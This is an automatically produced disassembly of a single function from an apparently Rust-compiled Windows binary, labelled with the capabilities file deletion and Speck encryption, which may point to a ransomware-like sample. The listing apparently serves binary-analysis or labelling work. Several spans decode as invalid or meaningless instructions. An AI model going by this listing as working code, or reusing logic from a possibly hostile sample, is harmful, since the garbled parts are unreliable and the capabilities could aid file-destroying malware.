Function at 0x140007a30
Capabilities:
Delete file
Encrypt data using speck

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x11a8
call fcn.14015c310
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1110], xmm9
movdqa xmmword [rbp + 0x1100], xmm8
movdqa xmmword [rbp + 0x10f0], xmm7
movdqa xmmword [rbp + 0x10e0], xmm6
mov qword [rbp + 0x10d8], 0xfffffffffffffffe
mov r12, rdx
mov rbx, rcx
mov qword [rbp + 0xa90], 0
mov rax, qword [0x140215050]
lea rcx, [rbp + 0xa90]
call rax
mov r8, qword [rbp + 0xa90]
mov r9, qword [rbx]
mov rax, r8
sub rax, r9
neg rax
mov rcx, r8
sub rcx, r9
cmovl rcx, rax
movabs r14, 0xd6bf94d5e57a42bd
mov rax, rcx
mul r14
shr rdx, 0x17
cmp r8, r9
jge 0x140007b97
imul rax, rdx, 0x989680
sub rcx, rax
imul eax, ecx, 0x64
mov qword [rbp - 0x50], rdx
mov dword [rbp - 0x48], eax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x100], rax
lea rax, [0x14013ece0]
mov qword [rbp + 0x108], rax
lea rax, str.Error:
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x268], 2
mov qword [rbp + 0x280], 0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x278], 1
lea rax, str.stdoutlibrary_std_srciomod.rs
mov qword [rbp + 0x740], rax
mov qword [rbp + 0x748], 6
movzx eax, byte [0x140215248]
test al, al
je 0x140007d68
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
je 0x140007c88
lea rsi, [rax + 0x60]
jmp 0x140007c99
cmp rdx, qword [rbx + 8]
jb 0x14000d2a4
mov rsi, qword [rbx + 0x20]
test rsi, rsi
je 0x14000d251
js 0x140011385
mov qword [rbp + 0xfd0], rbx
mov rdi, qword [rbx + 0x10]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140007beb
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140010bd6
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140010bd6
mov rbx, rax
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x578], rbx
mov qword [rbp + 0x580], rsi
mov qword [rbp + 0x588], rsi
mov rax, qword [rbp + 0xfd0]
mov rsi, qword [rax + 0x28]
mov r13, qword [rax + 0x38]
test r13, r13
je 0x140007f86
js 0x140011385
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140007c6f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140010ff1
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x140007f8b
jmp 0x140010ff1
call fcn.140138db0
mov rsi, rax
test rax, rax
je 0x140007d68
mov rdi, qword [rsi]
mov qword [rsi], 0
test rdi, rdi
je 0x140007d68
mov qword [rbp + 0xa90], rdi
lea rcx, [rdi + 0x10]
mov qword [rbp + 0x10d0], rcx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x140008e4d
mov dword [rbp + 0x10b8], 0
movzx eax, byte [rdi + 0x18]
lea rcx, [rdi + 0x20]
lea rdx, [rbp + 0x260]
call fcn.140138f20
test rax, rax
je 0x140008ece
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140008ece
test rcx, rcx
je 0x140008ece
mov rcx, rax
dec rcx
mov qword [rbp + 0x10c8], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp + 0x1098], rcx
mov qword [rbp + 0x10b0], rax
call qword [rax]
mov rax, qword [rbp + 0x10b0]
cmp qword [rax + 8], 0
je 0x140008eb8
cmp qword [rax + 0x10], 0x11
jae 0x140008e9e
mov r8, qword [rbp + 0x1098]
jmp 0x140008ea9
mov rax, qword [0x1402152d8]
cmp rax, 3
jne 0x1400087bc
mov rax, qword [0x1402152a0]
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
lea rcx, [rcx + 0x51]
cmp rax, rcx
jne 0x140007dc3
mov eax, dword [0x1402152d0]
inc eax
jne 0x140007df6
lea rcx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_remutex.rs
lea r8, [0x1401dbd38]
mov edx, 0x26
call fcn.140161290
ud2
lea rcx, [0x140215298]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x51]
mov qword [0x1402152a0], rax
mov eax, 1
mov dword [0x1402152d0], eax
lea rax, [0x140215298]
mov qword [rbp + 0x920], rax
lea rsi, [rbp + 0x920]
mov qword [rbp + 0xa90], rsi
mov qword [rbp + 0xa98], 0
lea rdx, fcn.14012f650
lea rcx, [rbp + 0xa90]
lea r8, [rbp + 0x260]
call fcn.140059e20
mov r8, qword [rbp + 0xa98]
test al, al
je 0x140007e76
test r8, r8
lea rdi, str.formatter_error
cmovne rdi, r8
mov rcx, qword [rbp + 0x920]
dec dword [rcx + 0x38]
jne 0x140007ef0
mov qword [rcx + 8], 0
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
jmp 0x140007ef0
test r8, r8
je 0x140007ede
mov eax, r8d
and eax, 3
xor edi, edi
lea rdx, [rax - 2]
cmp rdx, 2
jb 0x140007ee0
test rax, rax
je 0x140007ee0
lea rax, [r8 - 1]
mov qword [rbp + 0x10d0], rax
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
mov qword [rbp + 0x10c8], rcx
mov qword [rbp + 0x10b8], rax
call qword [rax]
mov rax, qword [rbp + 0x10b8]
cmp qword [rax + 8], 0
je 0x140008f30
cmp qword [rax + 0x10], 0x11
jae 0x140008f16
mov r8, qword [rbp + 0x10c8]
jmp 0x140008f21
xor edi, edi
mov rcx, qword [rbp + 0x920]
dec dword [rcx + 0x38]
je 0x140007e66
test rdi, rdi
je 0x14000d2a4
mov qword [rbp + 0xec0], rdi
lea rax, [rbp + 0x740]
mov qword [rbp + 0x920], rax
lea rax, [0x1401304d0]
mov qword [rbp + 0x928], rax
lea rax, [rbp + 0xec0]
mov qword [rbp + 0x930], rax
lea rax, [fcn.140133df0]
mov qword [rbp + 0x938], rax
lea rax, str.failed_printing_to_:
mov qword [rbp + 0xa90], rax
mov qword [rbp + 0xa98], 2
mov qword [rbp + 0xab0], 0
mov qword [rbp + 0xaa0], rsi
mov qword [rbp + 0xaa8], 2
lea rdx, str.library_std_srcio_stdio.rs
lea rcx, [rbp + 0xa90]
call fcn.140160e20
jmp 0x14000d187
mov eax, 1
mov qword [rbp + 0x1098], rax
mov rcx, rax
mov rdx, rsi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0xa90], 0
mov rax, qword [0x140215050]
lea rcx, [rbp + 0xa90]
call rax
mov rax, qword [rbp + 0xa90]
movabs rcx, 0x19db1ded53e8000
cmp rax, rcx
jl 0x14000cc83
movabs rcx, 0xfe624e212ac18000
add rax, rcx
mul r14
shr rdx, 0x17
mov qword [rbp + 0x258], rdx
mov dword [rbp + 0xab0], 0
mov word [rbp + 0xab4], 0
mov dword [rbp + 0xa90], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xa98], xmm0
mov qword [rbp + 0xaa8], 7
mov byte [rbp + 0xab2], 1
mov byte [rbp + 0xab4], 1
test r13, r13
je 0x140008689
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140008067
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140010ff1
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140010ff1
mov rsi, rax
mov rcx, rax
mov rdx, qword [rbp + 0x1098]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xa90]
mov rdx, rsi
mov r8, r13
call fcn.140136fe0
mov rbx, rax
mov rdi, rdx
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
jne 0x1400086c0
mov qword [rbp + 0x898], rdi
lea rax, [rbp + 0x258]
mov qword [rbp + 0x920], rax
lea rax, [fcn.140058ea0]
mov qword [rbp + 0x928], rax
lea rax, [rbp + 0x578]
mov qword [rbp + 0x930], rax
lea rsi, [0x140005df0]
mov qword [rbp + 0x938], rsi
lea rax, [0x140169388]
mov qword [rbp + 0xa90], rax
mov qword [rbp + 0xa98], 3
mov qword [rbp + 0xab0], 0
lea r14, [rbp + 0x920]
mov qword [rbp + 0xaa0], r14
mov qword [rbp + 0xaa8], 2
lea rcx, [rbp + 0x740]
lea rdx, [rbp + 0xa90]
call fcn.140014120
movdqu xmm0, xmmword [rbp + 0x740]
movdqa xmmword [rbp + 0x100], xmm0
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x110], rax
lea rax, [rbp + 0x100]
mov qword [rbp + 0xec0], rax
mov qword [rbp + 0xec8], rsi
lea rax, [0x140204aa8]
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x268], 1
mov qword [rbp + 0x280], 0
lea rbx, [rbp + 0xec0]
mov qword [rbp + 0x270], rbx
mov qword [rbp + 0x278], 1
lea rax, [rbp + 0x898]
mov qword [rbp + 0xa90], rax
mov qword [rbp + 0xa98], 0
lea rdx, [0x140168e10]
lea rsi, [rbp + 0xa90]
lea r8, [rbp + 0x260]
mov rcx, rsi
call fcn.140059e20
mov rdx, qword [rbp + 0xa98]
test al, al
jne 0x140008e5f
test rdx, rdx
je 0x140008271
mov eax, edx
and eax, 3
cmp eax, 1
jne 0x140008271
mov rsi, r14
mov r14, rbx
lea rdi, [rdx - 1]
mov rbx, qword [rdx - 1]
mov r15, qword [rdx + 7]
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x140008252
cmp qword [r15 + 0x10], 0x11
jb 0x140008240
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, r14
mov r14, rsi
lea rsi, [rbp + 0xa90]
cmp qword [rbp + 0x108], 0
je 0x140008291
mov r8, qword [rbp + 0x100]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 8], 0
je 0x1400082b1
xor eax, eax
jmp 0x1400082d2
call fcn.140103a00
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 8]
xor al, 1
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rdx, qword [rdx + rcx*8]
mov rcx, qword [rdx + 0x10]
mov r8, rcx
shr r8, 0xc
xor r8, rcx
mov r9, r8
shl r9, 0x19
xor r9, r8
mov rcx, r9
shr rcx, 0x1b
xor rcx, r9
mov qword [rdx + 0x10], rcx
movabs rdi, 0x2545f4914f6cdd1d
mov rdx, rcx
imul rdx, rdi
mov qword [rbp + 0x8a0], rdx
test al, 1
je 0x140008357
call fcn.140103a00
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x10]
movzx eax, byte [rax + 8]
xor al, 1
jmp 0x140008359
xor eax, eax
mov rdx, rcx
shr rdx, 0xc
xor rdx, rcx
mov r8, rdx
shl r8, 0x19
xor r8, rdx
mov rcx, r8
shr rcx, 0x1b
xor rcx, r8
mov edx, dword [0x1402153fc]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0x10], rcx
mov rdx, rcx
imul rdx, rdi
mov qword [rbp + 0x590], rdx
test al, 1
je 0x1400083cd
call fcn.140103a00
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x10]
movzx eax, byte [rax + 8]
xor al, 1
jmp 0x1400083cf
xor eax, eax
mov rdx, rcx
shr rdx, 0xc
xor rdx, rcx
mov r8, rdx
shl r8, 0x19
xor r8, rdx
mov rcx, r8
shr rcx, 0x1b
xor rcx, r8
mov edx, dword [0x1402153fc]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0x10], rcx
mov rdx, rcx
imul rdx, rdi
mov qword [rbp + 0x70], rdx
test al, 1
je 0x140008435
call fcn.140103a00
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x10]
mov rax, rcx
shr rax, 0xc
xor rax, rcx
mov rcx, rax
shl rcx, 0x19
xor rcx, rax
mov rax, rcx
shr rax, 0x1b
xor rax, rcx
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0x10], rax
imul rax, rdi
mov qword [rbp + 0xec0], rax
lea rax, [rbp + 0x8a0]
mov qword [rbp + 0x920], rax
lea rax, [fcn.14005c6c0]
mov qword [rbp + 0x928], rax
lea rcx, [rbp + 0x590]
mov qword [rbp + 0x930], rcx
mov qword [rbp + 0x938], rax
lea rcx, [rbp + 0x70]
mov qword [rbp + 0x940], rcx
mov qword [rbp + 0x948], rax
mov qword [rbp + 0x950], rbx
mov qword [rbp + 0x958], rax
mov qword [rbp + 0xa90], 2
mov qword [rbp + 0xaa0], 0
mov qword [rbp + 0xaa8], reloc.WS2_32.dll_recv
mov qword [rbp + 0xab0], 0
movabs rax, 0x800000020
mov qword [rbp + 0xab8], rax
mov byte [rbp + 0xac0], 3
mov qword [rbp + 0xac8], 2
mov qword [rbp + 0xad8], 0
mov qword [rbp + 0xae0], reloc.WS2_32.dll_recv
mov qword [rbp + 0xae8], 1
mov qword [rbp + 0xaf0], rax
mov byte [rbp + 0xaf8], 3
mov qword [rbp + 0xb00], 2
mov qword [rbp + 0xb10], 0
mov qword [rbp + 0xb18], reloc.WS2_32.dll_recv
mov qword [rbp + 0xb20], 2
mov qword [rbp + 0xb28], rax
mov byte [rbp + 0xb30], 3
mov qword [rbp + 0xb38], 2
mov qword [rbp + 0xb48], 0
mov qword [rbp + 0xb50], reloc.WS2_32.dll_recv
mov qword [rbp + 0xb58], 3
mov qword [rbp + 0xb60], rax
mov byte [rbp + 0xb68], 3
lea rax, [0x1401d8a28]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], 4
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], 4
mov qword [rbp + 0x110], r14
mov qword [rbp + 0x118], 4
lea rcx, [rbp + 0x260]
lea rdx, [rbp + 0x100]
call fcn.140014120
mov qword [rbp + 0x278], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x280], xmm0
mov qword [rbp + 0x290], 8
movdqu xmmword [rbp + 0x298], xmm0
mov byte [rbp + 0x2a8], 0
test r13, r13
je 0x1400086ed
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140008671
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140010ff1
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x1400086f2
jmp 0x140010ff1
mov ecx, 1
mov rdx, qword [rbp + 0x1098]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xa90]
mov edx, 1
mov r8, r13
call fcn.140136fe0
mov rbx, rax
mov rdi, rdx
test rbx, rbx
je 0x1400080c3
mov qword [rbp + 0x260], rdi
lea rax, [0x140169370]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140168e70]
lea r8, [rbp + 0x260]
jmp 0x14000d189
mov edi, 1
mov rcx, rdi
mov rdx, qword [rbp + 0x1098]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x1030], rax
movdqu xmm6, xmmword [rbp + 0x268]
mov rbx, qword [rbp + 0x2a8]
mov rcx, rdi
mov rdx, r13
call fcn.140139be0
test rax, rax
je 0x14000876d
mov r8, rdx
lea rcx, [rbp + 0xa90]
mov rdx, rax
call fcn.14013a770
mov rax, qword [rbp + 0xa90]
test rax, rax
je 0x140008778
mov rcx, qword [rbp + 0xa98]
mov qword [rbp + 0x1010], rcx
mov rcx, qword [rbp + 0xaa0]
mov qword [rbp + 0xfe0], rcx
jmp 0x1400087ea
xor eax, eax
mov qword [rbp + 0x10c8], rax
jmp 0x1400087f1
mov rsi, qword [rbp + 0xa98]
mov r14, qword [rbp + 0xaa0]
test r14, r14
je 0x1400087c6
js 0x140011385
movzx eax, byte [0x1402153f8]
mov edx, 1
mov rcx, r14
call fcn.140013830
mov rcx, rax
test rax, rax
jne 0x1400087cb
mov ecx, 1
mov rdx, r14
call fcn.14015d7f0
ud2
call fcn.140166750
jmp 0x140007d79
mov ecx, 1
mov rdx, rsi
mov r8, r14
mov rsi, rcx
call sub.VCRUNTIME140.dll_memcpy
mov rax, rsi
mov qword [rbp + 0xfe0], r14
mov qword [rbp + 0x1010], r14
mov qword [rbp + 0x10c8], rax
mov rcx, rdi
mov rdx, r13
call fcn.140139be0
test rax, rax
mov qword [rbp + 0x10a8], r13
mov qword [rbp + 0x10b0], rdi
mov qword [rbp + 0x1078], r12
mov qword [rbp + 0x1070], rbx
je 0x140009023
cmp rdx, 2
jne 0x140008836
movzx ecx, word [rax]
cmp ecx, 0x2e2e
je 0x140009023
mov r9, rdx
nop dword [rax]
test r9, r9
je 0x140009023
mov rcx, r9
dec r9
cmp byte [rax + rcx - 1], 0x2e
jne 0x140008840
mov r8, rdx
sub r8, rcx
jb 0x14000ce7c
test r9, r9
je 0x140009023
add rax, rcx
lea rcx, [rbp + 0xa90]
mov rdx, rax
call fcn.14005a400
cmp qword [rbp + 0xa90], 0
jne 0x140008890
mov rax, qword [rbp + 0xa98]
jmp 0x140008897
lea rax, [0x140204680]
jne 0x140009023
mov r13, qword [rbp + 0xaa0]
test r13, r13
je 0x140009023
mov qword [rbp + 0x10c0], rax
cmp r13, 8
jb 0x140008930
movabs rax, 0x8080808080808080
mov rcx, qword [rbp + 0x10c0]
test qword [rcx], rax
jne 0x140008930
mov rcx, qword [rbp + 0x10c0]
lea rdx, [rcx + 7]
and rdx, 0xfffffffffffffff8
sub rdx, rcx
mov ecx, 8
cmovne rcx, rdx
lea rdx, [r13 - 8]
cmp rcx, rdx
jae 0x140008930
lea r8, [rcx + 8]
mov r9, qword [rbp + 0x10c0]
test qword [r9 + r8 - 8], rax
jne 0x140008912
lea r9, [r8 + 8]
cmp r8, rdx
mov r8, r9
jb 0x1400088f8
add rcx, 8
mov r8, qword [rbp + 0x10c0]
test qword [r8 + rcx - 8], rax
jne 0x140008930
lea r8, [rcx + 8]
cmp rcx, rdx
mov rcx, r8
jb 0x140008916
mov r14, qword [rbp + 0x10c0]
add r13, r14
mov eax, 0x566
lea r12, [rbp + 0xaa0]
xor ecx, ecx
mov ebx, 0x566
jmp 0x14000896a
mov r14, qword [rbp + 0x10c0]
mov rcx, qword [rbp + 0x10b8]
mov rax, rbx
sub rax, rcx
jbe 0x140009023
mov qword [rbp + 0xfd8], rbx
shr rax, 1
mov rbx, rax
mov qword [rbp + 0x10b8], rcx
add rbx, rcx
mov rcx, rbx
shl rcx, 5
lea rax, str.123application_vnd.lotus_1_2_3
mov r15, qword [rcx + rax]
mov qword [rbp + 0x1068], rcx
mov rax, qword [rcx + rax + 8]
lea r10, [r15 + rax]
mov qword [rbp + 0x920], r15
mov qword [rbp + 0x928], r10
mov dword [rbp + 0x944], 0x110003
mov qword [rbp + 0xa90], r14
mov qword [rbp + 0xa98], r13
mov dword [rbp + 0xaa8], 0x110003
mov dword [rbp + 0xab4], 0x110003
mov dword [rbp + 0x938], 0x110003
test rax, rax
je case.0x140008de7.0
mov edi, 0x110003
mov qword [rbp + 0xfa8], r10
movzx r8d, byte [r15]
movzx edx, r8b
test dl, dl
js 0x140008a0d
inc r15
jmp 0x140008a75
mov eax, edx
and eax, 0x1f
movzx r9d, byte [r15 + 1]
and r9d, 0x3f
cmp dl, 0xdf
jbe 0x140008a5c
movzx ecx, byte [r15 + 2]
shl r9d, 6
and ecx, 0x3f
or ecx, r9d
cmp r8b, 0xf0
jb 0x140008a6a
movzx edx, byte [r15 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
cmp edx, 0x110000
je 0x140008d55
add r15, 4
jmp 0x140008a75
add r15, 2
shl eax, 6
or eax, r9d
mov edx, eax
jmp 0x140008a75
add r15, 3
shl eax, 0xc
or ecx, eax
mov edx, ecx
lea rcx, [rbp + 0x930]
call fcn.14014f230
mov esi, dword [rbp + 0x938]
mov eax, dword [rbp + 0x930]
mov ecx, dword [rbp + 0x934]
mov dword [rbp + 0x1090], ecx
mov dword [rbp + 0x1094], eax
mov dword [rbp + 0x10d0], eax
lea eax, [rsi - 0x110000]
cmp eax, 3
mov ecx, 3
cmovae eax, ecx
lea rcx, [0x140207cc8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 0x110000
mov edx, dword [rbp + 0x10d0]
mov ecx, edx
mov dword [rbp + 0x10a4], edx
mov esi, eax
mov dword [rbp + 0x10d0], ecx
cmp edi, 0x110003
je case.0x140008b7f.0
jmp 0x140008b60
mov eax, 0x110001
mov ecx, dword [rbp + 0x1090]
mov dword [rbp + 0x1094], ecx
mov edx, dword [rbp + 0x10d0]
mov dword [rbp + 0x10a4], edx
mov esi, eax
mov dword [rbp + 0x10d0], ecx
cmp edi, 0x110003
je case.0x140008b7f.0
jmp 0x140008b60
mov eax, 0x110002
cmp esi, 0x110000
je 0x140008d2e
mov ecx, dword [rbp + 0x10d0]
mov edx, esi
mov dword [rbp + 0x10a4], esi
mov esi, eax
mov dword [rbp + 0x10d0], ecx
cmp edi, 0x110003
je case.0x140008b7f.0
nop word cs:[rax + rax]
lea eax, [rdi - 0x110000]
cmp eax, 3
mov ecx, 3
cmovae eax, ecx
lea rcx, [0x140207cd8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov dword [rbp + 0xaa8], 0x110002
cmp edi, 0x110000
je case.0x140008b7f.0
jmp 0x140008d0a
add r14, 2
shl eax, 6
or eax, r9d
mov edx, eax
lea rcx, [rbp + 0x100]
call fcn.14014f230
cmp dword [rbp + 0x108], 0x110003
adc dword [rax], eax
adc dword [rax], eax
jne 0x140008c0d
jmp 0x140008950
test r14, r14
je 0x140008950
cmp r14, r13
je 0x140008950
movzx r8d, byte [r14]
movzx edx, r8b
test dl, dl
js 0x140008c40
inc r14
lea rcx, [rbp + 0x100]
call fcn.14014f230
cmp dword [rbp + 0x108], 0x110003
je 0x140008950
mov eax, dword [rbp + 0x108]
mov dword [r12 + 8], eax
mov rax, qword [rbp + 0x100]
mov qword [r12], rax
mov edi, dword [rbp + 0xaa8]
cmp edi, 0x110003
jne 0x140008b60
jmp case.0x140008b7f.0
mov eax, edx
and eax, 0x1f
movzx r9d, byte [r14 + 1]
and r9d, 0x3f
cmp dl, 0xdf
jbe 0x140008ba0
movzx ecx, byte [r14 + 2]
shl r9d, 6
and ecx, 0x3f
or ecx, r9d
cmp r8b, 0xf0
jb 0x140008cb2
movzx edx, byte [r14 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
cmp edx, 0x110000
je 0x140008950
add r14, 4
lea rcx, [rbp + 0x100]
call fcn.14014f230
cmp dword [rbp + 0x108], 0x110003
jne 0x140008c0d
jmp 0x140008950
add r14, 3
shl eax, 0xc
or ecx, eax
mov edx, ecx
lea rcx, [rbp + 0x100]
call fcn.14014f230
cmp dword [rbp + 0x108], 0x110003
add byte [rbx], al
add byte [rcx], dl
add byte [rdi], cl
test dword [rdi + rdi*8], esi
invalid
invalid
add byte [rbx], al
add byte [rcx], dl
add byte [rdi], cl
test dword [rdi + rdi*8], esi
invalid
jmp 0x140008950
cld
invalid
mov eax, 0x110000
mov edi, dword [rbp + 0xaa0]
jmp 0x140008d02
mov edi, dword [rbp + 0xaa0]
mov eax, dword [rbp + 0xaa4]
mov dword [rbp + 0xaa0], eax
mov eax, 0x110001
mov dword [rbp + 0xaa8], eax
jmp 0x140008d0f
mov eax, 0x110002
xor ecx, ecx
cmp edi, dword [rbp + 0x10a4]
setne cl
mov edx, 0xff
cmova ecx, edx
mov edi, eax
test cl, cl
je 0x140008aa5
jmp 0x140008d80
mov esi, 0x110002
mov dword [rbp + 0x938], esi
mov eax, dword [rbp + 0x1094]
mov dword [rbp + 0x930], eax
mov r10, qword [rbp + 0xfa8]
add byte [rax], al
add byte [rax], al
cmp r15, r10
jne 0x1400089fc
mov qword [rbp + 0xa90], r14
mov edi, dword [rbp + 0x944]
cmp edi, 0x110003
jne 0x140008dbc
lea rcx, [rbp + 0xa90]
call fcn.14009b8f0
cmp eax, 0x110000
setne cl
neg cl
cmp cl, 1
je 0x140008950
movzx eax, cl
cmp eax, 0xff
mov r14, qword [rbp + 0x10c0]
jne 0x140008f6f
mov rcx, rbx
inc rcx
mov rbx, qword [rbp + 0xfd8]
mov rax, rbx
sub rax, rcx
ja 0x14000896a
jmp 0x140009023
mov eax, dword [rbp + 0x93c]
mov esi, dword [rbp + 0x940]
lea ecx, [rdi - 0x110000]
cmp ecx, 3
mov edx, 3
pop qword [rax]
add bh, ch
inc dword [rbx + 0x3ba03f9]
add byte [rax], al
add byte [rdi], cl
cmovae ecx, edx
invalid
invalid
cmovae ecx, edx
lea rdx, [0x140207ce8]
movsxd rcx, dword [rdx + rcx*4]
mov cl, byte [rax + 1]
sar edi, 1
jmp rcx
mov cl, byte [rax + 1]
sar edi, 1
jmp rcx
invalid
mov r14d, 0x110000
mov esi, 0x110000
mov r15d, eax
mov edi, eax
jmp 0x140008e18
mov r14d, 0x110001
mov r15d, esi
mov edi, eax
jmp 0x140008e18
mov r14d, 0x110002
mov r15d, eax
cmp edi, 0x110000
je case.0x140008de7.0
lea rcx, [rbp + 0xa90]
call fcn.14009b8f0
cmp eax, 0x110000
je 0x140008950
and ebx, edi
invalid
xor ecx, ecx
cmp eax, edi
setne cl
mov eax, 0xff
cmova ecx, eax
mov edi, r14d
mov eax, r15d
test cl, cl
je 0x140008dc8
jmp 0x140008d80
call fcn.1401666c0
xor al, 1
mov dword [rbp + 0x10b8], eax
jmp 0x140007ce1
test rdx, rdx
lea rcx, str.formatter_error
cmovne rcx, rdx
call fcn.14015cdb0
mov rsi, rax
cmp qword [rbp + 0x108], 0
je 0x1400110e5
mov r8, qword [rbp + 0x100]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400110e5
mov r8, qword [rbp + 0x1098]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x10c8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [rbp + 0x10b8], 0
jne 0x140008ee6
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x140008f5d
mov rcx, qword [rbp + 0x10d0]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [rsi]
mov qword [rsi], rdi
test rcx, rcx
je 0x14000d2a4
lock dec qword [rcx]
jne 0x14000d2a4
call fcn.140138e80
jmp 0x14000d2a4
mov r8, qword [rbp + 0x10c8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edi, edi
xor edx, edx
mov r8, qword [rbp + 0x10d0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x920]
dec dword [rcx + 0x38]
jne 0x140007ef0
jmp 0x140007e66
call fcn.1401666c0
test al, al
jne 0x140008ee6
mov byte [rdi + 0x18], 1
jmp 0x140008ee6
lea rax, str.123application_vnd.lotus_1_2_3
mov rcx, qword [rbp + 0x1068]
cmp qword [rcx + rax + 0x18], 0
je 0x140009023
lea rax, str.123application_vnd.lotus_1_2_3
mov rax, qword [rcx + rax + 0x10]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov qword [rbp + 0x70], rdx
mov qword [rbp + 0x78], r8
lea rcx, [rbp + 0xa90]
call fcn.14009a260
mov r14, qword [rbp + 0xa90]
cmp r14, 2
je 0x14000d0e9
mov rax, qword [rbp + 0xa98]
